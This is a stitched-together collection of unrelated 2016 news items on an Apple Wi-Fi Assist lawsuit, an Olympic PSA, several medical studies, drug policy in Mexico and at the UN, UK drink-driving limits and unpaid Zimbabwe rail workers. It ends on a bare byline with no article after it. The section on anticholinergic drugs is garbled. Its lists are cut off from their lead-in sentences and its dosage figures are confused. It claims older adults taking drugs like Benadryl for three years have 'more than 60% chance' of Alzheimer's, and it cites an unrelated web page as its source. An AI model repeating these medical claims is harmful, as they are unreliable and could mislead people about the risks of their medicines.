The lawsuit centered on the iOS9 "Wi-Fi Assist" setting, which automatically switches people from Wi-Fi networks to cell networks when Wi-Fi isn't available. The consumers who sued -- Florida residents William Scott Phillips and Suzanne Schmidt Phillips, and Arkansas resident William Cottrell -- alleged that they upgraded their iPhones to iOS9 last September, and subsequently ran up data overages.

They contended in court papers that Apple violated California laws against false advertising and unfair competition by failing to disclose the details about how the Wi-Fi Assist feature operates.

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U.S. District Court Judge Lucy Koh in San Jose dismissed the lawsuit this week, ruling that the consumers didn't allege that they installed iOS9 due to Apple's statements about Wi-Fi Assist.

Koh wrote that the iPhone users didn't explain in their complaint how their data charges were attributable to any promises by Apple. "For plaintiffs data overuse charges to be caused by Apples representations, plaintiffs must have seen the representations and taken action based on what they saw," Koh wrote.

The dismissal was without prejudice, which means that the iPhone users can amend their papers and refile them.

Since last September, some iPhone users have reported big spikes in data usage after using Wi-Fi Assist. The feature can be turned off, but is enabled by default. One teenager, Ashton Finegold of San Francisco, told CBS in January that he racked up a phone bill of more than $2,000, due to Wi-Fi Assist.

Apple says on its site that most people should only see a small increase in total data consumption as a result of the feature.
by Steve McClellan @mp_mcclellan, April 22, 2016

To coincide with todays Olympic torch lighting in Olympia, Greece, the International Olympic Committee released a public service announcement showcasing the Olympic Games as a force of good that aims to build a better world through sport. The PSA, meant to inspire, evoke emotion, and engage people around the world, is a lead-up to the Olympic Games Rio 2016 that kick off August 5, in Rio de Janeiro.

Created by WPPs VML, the PSA introduces the theme, Together We Can Change the World. Timo Lumme, Managing Director, IOC Television and Marketing Services, said: In sharing this message with the world, the IOC aims to demonstrate that the Olympic values are here to light a torch for all of us. The Olympic Movement is here to break down walls and build bridges; and through this emotive campaign we hope audiences will be inspired to learn more and see that together we can change the world.

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VML enlisted Questlove as executive producer to create the soundtrack for the PSA by re-recording the song, The Fire, originally by Questlove and The Roots, by top recording artists from across the five continents, including: Yuna, Asia; Lenny Kravitz, Americas; NNeka, Africa; Corinne Bailey Rae, Europe, and Diogo Nogueiro, Brazil.

The voiceover for the PSA, recorded in English, Spanish, French, and Portuguese, features celebrities Uma Thurman, Juliette Binoche, Paz Vega and Tais Araujo.

Commenting on the work, VML CEO Jon Cook stated that the Olympic movement places sport at the service of humankind  as a lesson in respect, in honoring one another, in striving for excellence and in celebrating friendship that brings humanity together.

The PSA consists of four films: Together, Breath, Respect and Counting Stars. Each tell the story of core Olympic values and their role in uniting the world through sport. The films were shot in 90-second, 30-second, and 15-second formats, and are made available to all Olympic broadcasters across the world for television, digital and social distribution. Each film has marked locations for localization with regional Olympic athletes as well as guidance for recording a local voiceover to maximize local market impact. The films will also be featured on all Olympic social media accounts, reaching more than 50 million fans globally as well as on the campaign hub at Olympic.org/peace.

Award-winning cinematographer Max Malkin, of Prettybird, shot the film with VML. Malkin has served as director of photography on videos for artists including Eminem, The Dead Weather, Beck, Green Day, Red Hot Chili Peppers, REM and The Beastie Boys.

As part of the PSA programme, on Olympic Day, June 23, the IOC will launch a global social movement to support Olympic peace.
Multiple myeloma (MM) is a hematological cancer that frequently acquires resistance to chemotherapeutic drugs.

Additionally, many patients experience disease relapse, but these patients are difficult to treat as the cancer is often resistant to the previous treatment regimen.

Combination therapies are frequently successful at treating relapsed, treatment-resistant MM, leading researchers to seek out new therapeutic targets.

In this issue of JCI Insight, Yoichi Imai and colleagues at Tokyo Women's Medical University in Tokyo, Japan, demonstrate that MM cells express high levels of the protein phosphatase PPP3CA, a subunit of the signaling protein calcineurin, which can be targeted by the drug FK506.

Using a MM mouse model, Imai and colleagues showed that calcineurin is required for multiple myeloma cell growth and that inhibition of calcineurin with FK506 promoted MM cell death.

Moreover, treatment of MM mice with panobinostat, which is currently FDA-approved for treatment of MM, and FK506 reduced MM growth in mice.

These findings indicate that PPP3CA and calcineurin may be suitable therapeutic targets for the treatment of MM.
Patients, especially children, who undergo blood transfusions in sub-Saharan Africa are at high risk of transfusion-transmitted malaria. A new trial, published in The Lancet, suggests that treating donated blood with a new technology that combines UV radiation and vitamin B is safe and could minimise the risk of malaria infection following blood transfusions.

"In many countries in sub-Saharan Africa where malaria is endemic, a high proportion of the population carry the parasite but do not show any clinical symptoms. This is particularly problematic when it comes to donated blood transfusions as it puts the recipients at high risk of infection if no blood treatment procedure is provided," says Professor Jean-Pierre Allain, lead author from the University of Cambridge, Cambridge, UK. "Testing for parasites such as malaria is expensive and until now, there have been no technologies capable of treating whole blood, which is most commonly used in transfusions in sub-Saharan Africa. This is the first study to look at the potential of pathogen-reduction technology in a real-world treatment setting and finds that although the risk of malaria transmission is not completely eliminated, the risk is severely reduced." 1

The study is published ahead of World Malaria Day (Monday 25th April). Every year, approximately 214 million people worldwide are infected with acute malaria, the majority of whom are in Africa. Malaria is caused by the parasite Plasmodium. It is usually transmitted by mosquito but can also be transmitted through blood transfusions - this is particularly dangerous for children who have not developed any immunity, or adults with some degree of immunodeficiency such as pregnant women.

Currently, in Europe, donated blood is subjected to a large number of safety measures. Commonly used procedures for whole blood include nucleic acid testing, blood filtration or bacterial culture but these are not done in most developing countries because of a lack of resources. A number of pathogen reduction technologies also exist to treat blood components such as plasma or platelets. However, in developing countries, particularly in sub-Saharan Africa, 70% of blood transfusions are of whole blood. Detecting Plasmodium in donated blood is very difficult - the only current, affordable option is using microscopes but this is insensitive and unreliable.

In Ghana, 50% of blood donors carry the Plasmodium parasite, and 14-28% of patients who receive a blood transfusion will later test positive for Plasmodium. In this study, researchers investigated the effectiveness and safety of a new pathogen reduction technology that uses UV light and vitamin B2 (riboflavin) to reduce the levels of the parasite in donated whole blood 2. The study follows earlier work which found that the technology was capable of inactivating Plasmodium and other pathogens, including HIV, hepatitis C, and hepatitis B virus in vitro.

223 adult patients from the Komfo Anokye Teaching Hospital in Kumasi, Ghana who needed a blood transfusion because of severe anaemia or haemorrhage took part in the study. The study was a double blind randomised controlled trial. As would be the case in normal clinical practice, neither the doctors nor the patients knew whether the donated blood units or recipients carried the Plasmodium parasite.

The research team analysed blood samples for all of the transfusion recipients on the day of the transfusion and 1, 3, 7 and 28 days later. By studying the sequences of Plasmodium genes present in the blood, the researchers were able to tell whether the patients were likely to be carrying the donor parasite after the transfusion.

A total of 65 patients were not previously carrying the parasite - half received parasite treated blood, and the other half received parasite untreated blood. 22% of patients (8/37) who received untreated blood later tested positive for malaria parasite, compared 4% (1/28) of patients who received treated blood (figure 1).

Coagulation parameters, platelet counts and haemostatic status of the patients were similar whether patients received treated or untreated blood. The technology did not appear to affect the coagulation properties of the blood, and patients who received the treated blood had slightly fewer allergic reactions to those who received the untreated blood (5% vs 8%) (table 4).

The technology is currently in the testing phase, and the authors add that further studies, in larger population groups, and in particular at risk populations such as young children and pregnant mothers are now needed.

Writing in a linked Comment, Dr Sheila F O'Brien, Canadian Blood Services, Canada, says: "Pathogen reduction technology inactivates not only Plasmodium parasites but also a broad range of transfusion-transmissible pathogens, including HIV, hepatitis C, and hepatitis B...The anticipated introduction of this technology for all products including red blood cells heralds a dramatic transformation in approach in transfusion medicine. In developed countries, pathogen reduction technology would further reduce the already low risk of transmitting infections. It would also address concerns from emerging pathogens such as Babesia microti, West Nile virus, Chikungunya virus, and Zika virus. The cost of implementation of the technology would be countered by a range of efficiencies in the manufacturing process - notably, a reduction in infectious disease testing and donor deferral."

She adds: "The risk that blood recipients in Africa must accept, especially children, would be considered an intolerable risk in developed countries. Evidence that transfusion-transmitted infections in whole blood can be safely addressed by pathogen reduction technology while maintaining the clinical benefit of the transfusion underscores the potential for this treatment to revolutionise transfusion safety in Africa where it is most needed."
Everolimus is the first adjunctive therapy shown in a prospective randomized Phase III study to achieve clinically significant seizure control in TSC patients 1 .

. Seizures are the most common TSC-related neurological condition, yet about 60% of patients don't attain seizure control with available anti-epileptic therapies2.

Novartis has announced results from a Phase III study showing Afinitor* (everolimus), when used as an adjunctive therapy, significantly reduced treatment-resistant seizures associated with tuberous sclerosis complex (TSC) compared to placebo1. Patients in all treatment arms were also taking one to three anti-epileptic drugs (AEDs)1. The study, EXIST-3 (EXamining everolimus In a Study of TSC), is being presented during a plenary session at the 68th Annual Meeting of the American Academy of Neurology (AAN) (Abstract #32430, 9:00-11:00 a.m. PST)1.

"Approximately 85% of individuals with TSC are affected by epilepsy at some point in their lives, yet nearly two-thirds of these patients do not achieve seizure control with available therapies, and may also experience other potentially serious consequences, such as neuropsychological, cognitive, social or learning disabilities," said Jacqueline A. French, MD, department of neurology, NYU Langone Medical Center and lead investigator of the EXIST-3 trial. "These findings are encouraging as this is the first clinical study demonstrating benefit specifically for TSC patients who suffer from treatment-resistant seizures."

In the study, 366 patients with TSC and treatment-resistant seizures were randomized to receive targeted concentrations of everolimus titrated to Low Exposure (LE; 3-7 ng/mL; n=117) or High Exposure (HE, 9-15 ng/mL; n =130), or placebo (n=119). The percentage reduction from baseline in seizure frequency was significantly greater among patients randomized to everolimus LE (29.3%, P=0.003; confidence interval [CI]=95%) and HE (39.6%, P<0.001; CI=95%) vs placebo (14.9%; CI=95%). Seizure response rate (50% reduction) was also significantly greater with everolimus LE (28.2%, P=0.008; CI=95%) and HE (40.0%, P<0.001; CI=95%) vs placebo (15.1%; CI=95%). The most common (20%) adverse events (AEs) reported with everolimus LE/HE vs placebo included stomatitis (28.2%/30.8% vs 3.4%), mouth ulceration (23.9%/21.5% vs 4.2%), and diarrhea (17.1%/21.5% vs 5.0%). Serious AEs reported were 13.7%/13.8% vs 2.5%.

"There has been a long-standing need to find a treatment option for TSC patients that provides control of treatment-resistant seizures and we are encouraged that data from the EXIST-3 study show everolimus may have this potential," said Alessandro Riva, MD, Global Head, Novartis Oncology Development and Medical Affairs. "Over the past decade, Novartis has remained committed to the TSC community, improving care for patients and conducting research we hope will bring us closer to addressing some of the most debilitating TSC manifestations."

Tuberous sclerosis complex is a rare genetic disorder affecting up to one million people worldwide and everolimus is the only approved non-surgical option indicated for treating non-cancerous brain and kidney tumors in certain patients with TSC3,4,5. EXIST-3 study results show that everolimus is the first adjunctive therapy to achieve clinically significant seizure control in TSC patients and will be the basis for discussion with health authorities worldwide1.

Everolimus works by inhibiting the mammalian target of rapamycin (mTOR), a protein that regulates multiple cellular functions. TSC is caused by mutations in the TSC1 or TSC2 genes, resulting in hyperactive signaling of the mTOR pathway which can lead to increased cellular growth and proliferation, neuronal hyper-excitability, abnormalities in cortical architecture and network function and impaired synaptic plasticity6,7. Pre-clinical research suggests that hyperactive mTOR activity may influence several mechanisms of epileptogenesis, the gradual process by which the brain develops epilepsy8.

EXIST-3 study details

EXIST-3 is a Phase III, three-arm, randomized, double-blind, placebo-controlled study of the efficacy and safety of high and low exposure ranges of everolimus as adjunctive therapy in patients with TSC who have treatment-resistant seizures, defined as seizures persisting despite the use of two AEDs. The study enrolled male and female participants (ages 2.2-56.3) with clinically defined TSC, who were on stable doses of one to three AEDs for at least four weeks prior to a two month, pre-randomization, evaluation period1.

The primary objective was to assess the effectiveness of adjunctive everolimus as compared to placebo in reducing seizures in patients with TSC who are taking one to three AEDs. Secondary objectives include the percentage of patients free from seizure during the maintenance period and change in seizure frequency.

The most frequent 10% all grade adverse events (AEs) reported with everolimus LE/HE vs placebo included stomatitis (28.2%/30.8% vs 3.4%), mouth ulceration (23.9%/21.5% vs 4.2%), diarrhea (17.1%/21.5% vs 5.0%), nasopharyngitis (13.7%/16.2% vs 16.0%), upper respiratory tract infection (12.8%/15.4% vs 12.6%), aphthous ulcer (4.3%/14.6% vs 1.7%) pyrexia (fever) (19.7%/13.8% vs 5.0%), vomiting (12.0%/10.0% vs 9.2%), cough (11.1%/10.0% vs 3.4%) and rash (6.0%/10.0% vs 2.5%)1.

About tuberous sclerosis complex

Tuberous sclerosis complex (TSC) may cause non-cancerous tumors to form in vital organs including the brain, kidney, heart, lungs and skin, as well as resulting disorders such as epilepsy, autism, cognitive impairment, behavioral problems and psychiatric disorders. Many people with TSC show evidence of the disease in the first year of life. However, because manifestations vary from person to person and can take years to develop, many children are not diagnosed until later in life, often with the onset of seizures, skin lesions or other significant symptoms, such as developmental delays. Because TSC is a lifelong condition, the latest professional diagnostic guidelines issued in 2012 advise that individuals be monitored by a doctor experienced with the disorder to ensure tumor growth or new symptoms are identified early6,9.

About everolimus

In the United States (US), everolimus is approved as Afinitor for the treatment of adult patients with renal angiomyolipoma and tuberous sclerosis complex (TSC), not requiring immediate surgery. Afinitor tablets and Afinitor Disperz are also indicated in the US in pediatric and adult patients with TSC for the treatment of subependymal giant cell astrocytoma (SEGA) that requires therapeutic intervention but cannot be curatively resected.

In the European Union (EU), everolimus is approved as Votubia for the treatment of adult patients with renal angiomyolipoma associated with TSC who are at risk of complications (based on factors such as tumor size or presence of aneurysm, or presence of multiple or bilateral tumors) but who do not require immediate surgery. The evidence is based on analysis in sum of angiomyolipoma volume. Votubia is also indicated in the EU for the treatment of patients with SEGA associated with TSC who require therapeutic intervention but are not amenable to surgery. The evidence is based on analysis of change in SEGA volume. Further clinical benefit, such as improvement in disease-related symptoms, has not been demonstrated.

Additionally, Afinitor is approved in 99 countries, including the US and throughout the EU, for locally advanced, metastatic or unresectable progressive neuroendocrine tumors (NET) of pancreatic origin and in the US for the treatment of adult patients with progressive, well-differentiated, nonfunctional NET of gastrointestinal (GI) or lung origin that are unresectable, locally advanced or metastatic. It is also approved in >120 countries including the US and EU for advanced renal cell carcinoma following progression on or after vascular endothelial growth factor (VEGF)-targeted therapy (in the US, specifically following sunitinib and sorafenib). Afinitor is also approved in 102 countries including the US and EU for advanced HR+/HER2- breast cancer in combination with exemestane, after prior endocrine therapy.

Everolimus is also available from Novartis under the brand names Afinitor, Certican and Zortress for use in oncology and transplant patient populations and is exclusively licensed to Abbott and sublicensed to Boston Scientific for use in drug-eluting stents.

Indications vary by country and not all indications are available in every country. The safety and efficacy profile of everolimus has not yet been established outside the approved indications. Because of the uncertainty of clinical trials, there is no guarantee that everolimus will become commercially available for additional indications anywhere else in the world.
The smell of your breath is the science behind a new device that will determine if you're too stoned to be behind the wheel.

UBC Okanagan engineering professor Mina Hoorfar has developed a handheld device, known as a microfluidic breath analyzer that can detect the presence of tetrahydrocannabinol (THC) in a person's breath. THC is the psychoactive ingredient in cannabis.

"It's very easy to test for THC as it is a big molecule that stays in your breath for a long time," says Hoorfar, recently named UBC Okanagan's researcher of the year. "There is a period of 12 hours after you have consumed THC when it can still be detected in your breath."

THC also stays in the blood and in saliva. However, roadside testing involving blood analysis or spit tests is not an easy process, and results are not immediate. With Hoorfar's device - about the size of two fingers together - a law enforcement officer can determine within seconds whether a person is impaired.

The device costs about $15 to manufacture and is Bluetooth-enabled so data can be collected using a cellphone.

"This is a tool not just for the police, but perhaps more for self-testing and self-monitoring," says Hoorfar, noting it can also be used as a personal breathalyzer after alcohol consumption. "People can consciously make the choice to test themselves after they have consumed THC or alcohol."

The microfluidic breath analyzer, made with a 3D printer at the UBC's campus in Kelowna, British Columbia, uses a single gas sensor along with a micrometer deep channel (not even as thick as a strand of hair). The highly-sensitive semiconductor gas sensor is inside the microchannel - and diffused exhaled breath is recorded and analyzed as it flows through this channel. The "smellprint" of the exhaled breath is then provided by the device showing how much marijuana has been consumed.

Hoorfar says with the decriminalization of cannabis on the federal government's radar, and several American states legalizing the substance, it's only a matter of time before driving while stoned becomes an enforcement matter. Police in Colorado and Washington states use an oral swab to test saliva, or can order a blood test. But even in those states, there is no legal definition of the amount of THC that can determine if a person is too impaired to drive.

Hoorfar is the head of the Advanced Thermo-Fluidic Laboratory (AFTL) where she and PhD student Mohammad Paknahad developed the microfluidic breath analyzer. The lab is an interdisciplinary research facility where professors, post-grad students, and researchers work with biochips and digital microfluidics.

Using technology in the lab, Hoorfar and Paknahad realized their device can also register odours other than THC. It is currently being tested for ketones, meaning diabetics may eventually be able to take a breath test instead of a finger prick blood test to monitor their glucose levels. The device is also being tested above gas lines, via a drone, to determine its capability of detecting a gas leak.
Representatives from the Police, Paramedic and Fire Services have today written to the Transport Secretary, Patrick McLoughlin, calling on him to lower the legal drink drive limit.

The letter coincides with the report stage in the House of Lords today of a bill to lower the drink drive limit. The Road Traffic Act (Amendment) bill, introduced by Lord Brooke of Alverthorpe, is aimed at lowering the limit from 80mg alcohol per 100ml blood to 50mg/100ml.

The letter is signed by the Police Federation's Road Policing Lead, Jayne Willetts, the General Secretary of the Fire Brigades Union, Matt Wrack, and the Chair of the College of Paramedics, Andy Newton, who outline the impact of drink driving on the emergency services, saying:

Drink driving places significant pressure on the emergency services, causing thousands of road traffic incidents every year which have to be addressed by police forces, fire services and paramedics. There has been no reduction in drink driving deaths since 2010, and surveys show that significant numbers of drivers still put themselves, and others, at risk.

England and Wales have one of the most lenient drink drive limits in Europe, set at 80mg of alcohol per 100ml of blood. Drivers who drink up to this current limit are six times more likely to die in a car crash compared with drivers who have not drunk. Scotland lowered the limit for drink driving in 2014 to 50mg/100ml and after nine months rates of drink driving offences fell by 12%. The only other country with a legal limit as high as the UK's is Malta, with every other European country setting its limit at 50mg or lower. Signatories to today's letter say:

Reducing the limit to 50mg would ease the burden on our emergency services, freeing up time and resource for other serious incidents. This change is consistently supported by over 70% of the public and, most importantly of all, it would save lives.

The letter puts further pressure on the government to lower the limit, as it follows previous calls from the Alcohol Health Alliance, medical royal colleges and road safety bodies for the limit to be lowered, and polling which has demonstrated high levels of public support for a lower limit. At the end of 2015, the Alcohol Health Alliance polled 5,000 people across the UK, finding that 77% support a lower limit.
The Committee on Internal Market and Consumer Protection (IMCO) of the European Parliament adopted its report on the "Single Market Strategy" calling on the Commission to stimulate manufacturing and early export of generic and biosimilar medicines to countries where no patent or supplementary protection certificates (SPC) exist.

Launched on 28 October 2015, the European Commission's new strategy 'A Single Market Strategy for Europe - Analysis and Evidence' proposes a manufacturing waiver during the SPC period to allow the EU generic and biosimilar medicines industries to create up to 64.000 high-tech jobs in the EU and dozens of new companies, with a 3.3 billion business value1. The measure would also bring pharmaceutical R&D back to Europe as R&D and manufacturing are often conducted on the same sites for pharmaceuticals. The export of generic and biosimilar medicines to non-EU countries during the SPC period will increase access to high quality medicines in third countries without changing the equilibrium between the originator and the generic & biosimilar medicines industries in the EU.

Adrian van den Hoven, Medicines for Europe Director General commented: "The Parliament has once again voted for more manufacturing jobs for Europe by calling for an SPC manufacturing waiver. The Commission should now move forward without delay to make a formal legal proposal to deliver on this tremendous development opportunity for the European pharmaceutical manufacturing industry".
Analysis of Scottish hospital records has uncovered over 11,000 potentially preventable, emergency hospital admissions for iron deficiency anaemia (IDA).1

The findings from a report published today, "Iron deficiency anaemia in Scotland: current situation and key recommendations" highlight how IDA is not being efficiently detected and managed in the community. This is despite IDA being identified as a condition where emergency hospital admissions can be prevented through effective management. 2

IDA is a common health concern that is most commonly associated with heavy menstrual cycles in women. 3,4 It also affects 2-5% of adult men and post-menopausal women, with blood loss from the gastrointestinal (GI) tract as the most common cause of IDA in these groups.4 IDA arises when the amount of iron absorbed by the body is less than that being lost, which occurs for three main reasons; blood loss, inflammation and malabsorption.3,5

This means IDA is prevalent in patients with common chronic conditions such as inflammatory bowel disease (IBD), chronic heart failure, chronic obstructive pulmonary disease (COPD), kidney disease and rheumatoid arthritis.3,5-7

When comparing data between Scotland and England, 49.9% of IDA admissions in Scotland were emergencies, compared to England where 19.7% of IDA admissions were emergencies.1,8 This is concerning as emergency admissions are costlier than planned hospital visits.1

The data is released at a time when the Scottish Government is committed to reducing the total time spent in hospital beds and is pushing back a planned increase from 95%-98% in the target for people seen within 4 hours in A&E.9

Commenting on the findings, report author Dr Ian Arnott (Consultant Gastroenterologist at the Western General Hospital, Edinburgh) said, "It is clear IDA is under treated and under diagnosed. Through my work with the UK IBD audit we found that only 44% of patients received treatment for IDA despite guidelines recommending that all patients should receive iron therapy after diagnosis. We need to work closer with our colleagues in primary care to ensure people are diagnosed and managed appropriately."

The data were analysed for:

IDA admission trends by regional Health Boards

patient demographics of those diagnosed with IDA in hospitals

The number and type of IDA admissions varied widely between regional Health Boards:

admissions per population varied seven-fold from the lowest to the highest 1

the proportion of admissions identified as emergency varied five-fold1

The majority of admissions were female (65.1%) and most likely to be patients over 75 years old (43.2%).1 In patients aged 75 and over, IDA related hospital stays are more likely to be emergencies and more likely to require at least one night in hospital.

The report outlines a number of practical steps clinicians, payers and policy makers can make to improve the situation in Scotland. These include, working towards the quality standards recommended by the British Society of Gastroenterology, analysing current IDA treatment pathways, and reviewing the current lack of indicators and targets relating to the quality of care in IDA.4


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Memory

Total cortical volume

Thickness of the temporal lobe cortical

Inferior and greater lateral ventricle volumes

Anticholinergic Drugs

Dosages that Increase Risk for Dementia

10mg/day of doxepin

4mg/day of diphenhydramine

5mg/day of oxybutynin for more than three years increase the risk of dementia.

Check with a doctor about medications for hay fever, asthma or any ailment instead of self-medicating.

Do not stop any medication till the doctor is consulted.

Ask for alternate medications.

Shannon L. Risacher, PhD1,2; Brenna C. McDonald, PsyD, MBA1,2,3; Eileen F. Tallman, BS1,2; and colleagues "Association Between Anticholinergic Medication Use and Cognition, Brain Metabolism, and Brain Atrophy in Cognitively Normal Older Adults" JAMA Neurol. Published online April 18, 2016. http://www.thoracic.org/copd-guidelines/for-patients/what-kind-of-medications-are-there-for-copd/what-are-anticholinergic-medications.php

The study assessed the association between the use of anticholinergic drugs and glucose metabolism, brain atrophy and cognition among cognitively normal adults. Data for the study was collected from the Alzheimer's Disease Neuroimaging Initiative (ADNI) and The Indiana Memory and Aging Study (IMAS).About 409 participants were included in the ADNI study and after the first baseline study, the study participants were checked after 3,6 and 12 months, after than annually. Among them, 52 participants took anticholinergic drugs while 350 participants did not take anticholinergic drugs.In the IMAS study, 49 study participants were included in the study with 8 participants taking anticholinergic drugs while 41 participants didn't. After the initial baseline study, the participants were checked every 18 months.The duration of the study was as long as 4 years for many participants. Participants who took anticholinergic drugs were found to have lower:The study results found that there was a sharp clinical decline in the size of the brain with increased brain atrophy and dysfunction. The research provides evidence that the use of cholinergic drugs can lead to cognitive decline, especially in older adults and so alternative drugs should be used for treatment.Though there have been studies that were conducted earlier to analyze the association between prolonged drug usage and cognitive decline , this is the first study that looks at the biological pathways that lead to the decline, using neuro-imaging techniques.Dr Risacher further states that "These findings might give us clues to the biological basis for the cognitive problems associated with anticholinergic drugs, but additional studies are needed if we are to truly understand the mechanisms involved".Anticholinergic drugs act on muscles around the bronchi. When there is lung irritation, the muscles around the bronchi tighten resulting in narrow bronchi. Anticholinergic drugs act on these muscles and prevent narrowing of the bronchi.This study by Dr Risacher has found that over-the-counter anticholinergic drugs are used for hay fever, asthma and even sleeping pills. Older adults who have been using drugs like Benadryl , Nytol and Piriton for 3 years have more than 60% chance of developing Alzheimer's.The reason behind the increased risk for Alzheimer's is believed to be due to these drugs blocking the release of acetylcholine which is necessary for the transmission of electrical signals between nerve cells. In Alzheimer's, there is lowered level of acetylcholine, therefore, these drugs may lead to aggravation of the condition or could trigger the condition in the elderly.The study found that:Older patients who require these drugs for treatment should be monitored closely. The lowest dosage that provides the required relief should be administered for the patients and the progress of the treatment closely recorded. Alternate drugs that do not produce cognitive decline should then be used to protect the cognitive abilities of the patient.Since many of these drugs are available over the counter, it is difficult for doctors to monitor their usage by older adults. However, the conclusive evidence provided by this research warrants better awareness among senior citizens to prevent cognitive decline.Here are some tips for the elderly to follow as a result of this research:Source: Medindia
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The bill sent to Congress would allow the use of medications made with marijuana or its active ingredients, and it would also increase the amount of the drug that can legally be possessed for personal consumption from five to 28 grams (one ounce).But his proposal falls short of a full legalization of marijuana as demanded by activists who won a landmark case last year at the Supreme Court, which authorized four individuals to grow and smoke pot.Pena Nieto said his legislation aims to fix "two types of injustices": The inability of patients to access marijuana-based medicine and the "disproportional" prison sentences against people arrested on pot-related charges."Mexicans know very well the scope and limits of the prohibitionist and punitive scheme, and of the so-called war on drugs, which has prevailed for over 40 years at the international level," he said in a speech.Mexico, a major supplier and transport hub for drug trafficking to the United States, has endured a horrific explosion in cartel violence over the past decade.More than 100,000 people have been killed or disappeared since Mexican authorities deployed troops to combat drug trafficking in 2006."Fortunately, a new global consensus is gradually emerging in favor of a reform of the international drug regime," he said."With this reform proposal, we take firm steps toward a new paradigm that looks at drugs from the perspective of prevention, health and human rights."The medical marijuana initiative would allow imports of medicine containing marijuana and tetrahydrocannabinol (THC), the plant's main psychoactive ingredient.Such medicine would be subject to strict health controls by the authorities, just as any other legal drug.The increase in the amount of pot that a person can possess for personal use would be "in line with international standards," Pena Nieto said.Mexico's move follows policy shifts across the region.Canada's health minister said that his government would introduce legislation next year to legalize marijuana, while Uruguay in 2013 became the first country in the world to fully legalize marijuana.In December, the president of Colombia, another country beset by drug violence, signed a decree legalizing medical marijuana.In the United States - the biggest consumer of drugs from Mexico - 23 states have legalized medical marijuana use while four states plus the US capital city have legalized its recreational use.Pena Nieto decided to hold a series of five public forums on the country's tough marijuana laws after last year's Supreme Court decision.The ruling was limited in scope, giving permission to just four individuals, but activists hopes that either the government would loosen its laws or that the court would issue other similar rulings to set a legal precedent.Juan Francisco Torres, an attorney who was of the foursome that took its case to the top court, said the president's proposal "falls short.""They increase the number of grams but there's still a problem in the background, there's nothing that says that supply is legal," he told Milenio television.But Pena Nieto's initiative was welcomed by another pioneer in Mexico's marijuana debate, Raul Elizalde, who won a lower court battle to get authorization to give his young epileptic daughter medical cannabis last year.Elizalde, who spoke at Pena Nieto's event, said the quality of life of his daughter, Grace, had improved since she began taking cannabidiol (CBD), a therapeutic oil."My daughter is a different person. She has improved with the treatment. It has changed our lives," he said.Source: AFP
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The study, which describes the pathophysiological mechanism of plastic bronchitis and a treatment approach, arose from collaboration between Maxim Itkin, M.D., an associate professor of Radiology in the Perelman School of Medicine at the University of Pennsylvania, and Yoav Dori, M.D., a pediatric cardiologist in the Cardiac Center at The Children's Hospital of Philadelphia (CHOP). They co-lead a specialized team dedicated to the care of lymphatic disorders as part of the Center for Lymphatic Imaging and Interventions at The Children's Hospital of Philadelphia and the Hospital of the University of Pennsylvania."This is a new treatment option for children with plastic bronchitis, and has the potential to offer long-term improvement of this condition," said Dori. "This procedure may even provide cure and avoid the need for a heart transplant."The current study builds on the team's 2014 article in Pediatrics, the first case report of the successful use of their technique in a patient with plastic bronchitis. "We have expanded on that study to report short-term outcomes in a larger group, and to share insights into the development of plastic bronchitis, which has been poorly understood," said Itkin. In addition to heart patients, children and adults with idiopathic plastic bronchitis, in which the cause is unknown, have also been treated successfully using these techniques.Itkin and Dori discovered that the primary cause of plastic bronchitis is a lymphatic flow disorder, due to abnormal lymphatic flow into lung tissue. Because physical examinations and conventional imaging may not provide specific findings, lymphatic flow disorders often go undiagnosed.Over the past several years, Itkin and Dori developed a customized form of magnetic resonance imaging (MRI), called dynamic contrast enhanced MR lymphangiogram, to visualize the anatomy and flow pattern of a patient's lymphatic system. This technique allows clinicians to locate the site at which lymph leaks into the airways.Plastic bronchitis may occur in children as a rare complication of early-childhood heart surgeries used for single-ventricle disease, in which one of the heart's pumping chambers is severely underdeveloped. Approximately 5 percent of children surviving this surgery experience plastic bronchitis because the surgery alters venous and lymphatic pressure. The authors argue that this altered pressure may interact with pre-existing anatomical differences in the patients' lymphatic vessels.The abnormal circulation causes lymph to ooze backward into a child's airways, drying into a caulk-like cast formation that takes the shape of the airways. The first sign of plastic bronchitis may be when a child coughs out the cast. However, if unable to cough it up, a child may suffer fatal asphyxiation.After identifying the leakage site in a lymphatic vessel, the lymphatic team intervenes, using a technique called lymphatic embolization. Through small catheters, the team blocks the abnormal flow with a variety of tools: coils, iodized oil, and covered stents, based on an individual patient's needs.In the current report, the team was able to perform lymphatic embolization in 17 of their 18 patients, ranging from age two to age 15 (median age 8.6 years). Fifteen of those 17 patients had significantly improvements in cast formation, in some cases being cast-free longer than two years. Patients had transient side effects of abdominal pain and hypotension (low blood pressure), but the authors reported the procedure appeared safe in their patient group.Source: Eurekalert
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Delegates from the European Union, Switzerland, Brazil, Costa Rica, Uruguay among others called for abolishing capital punishment for drug criminals, a practice used by China, Iran and Indonesia.Indonesia's delegate drew jeers from the assembly when he argued that the use of the death penalty was a matter for individual states to decide, in a statement backed by Singapore, Saudi Arabia, China, Iran, Pakistan among other countries.The document agreed to during meetings in Vienna last month makes no reference to the death penalty but calls on government to promote proportionate national sentencing policies, whereby the severity of penalties is proportionate to the gravity of offenses. It calls for appropriate medication-assisted therapy programs, injecting equipment programs as well as antiretroviral therapy and other relevant interventions.WHO's Chan singled out Hong Kong as a success story, where methadone treatment for drug users was key to reducing petty crime. "People with drug dependence can be helped and returned to productive use in society," she said.The three-day special session was requested by Colombia, Mexico and Guatemala, which have felt the brunt of the war on drugs with an explosion of crime and violence.Ethan Nadelmann, who heads the Drug Policy Alliance which is pushing for reform, said the UN text was a 'notable improvement' but still 'quite limited and disappointing'."Those in favor of maintaining the status quo, notably the Russians and their allies, won the bigger battles in the negotiations leading up to this week's meeting," he said.In the lead-up to the meeting, the former presidents of Mexico, Colombia and Nigeria joined celebrities Sting and Michael Douglas along with businessman Warren Buffett to call for an end to the 'disastrous' war on drugs of recent decades.Source: AFP
Business / Companies

by Thobekile Zhou

National Railways of Zimbabwe workers have reportedly begged top management to fire them.The workers said it was pointless to continue reporting for duty without pay.Workers have gone for more than 18 months without pay."The workers told top brass to issue them with dismisal letters."They said they cannot continue working for no pay" said an insider.Recently it was revealed that to bosses received almost $1 million in salaries last year processed through an executive bank account held with a local bank.
News / International

by Itai Mushekwe/Mary-Kate Kahari/Malvin Motsi

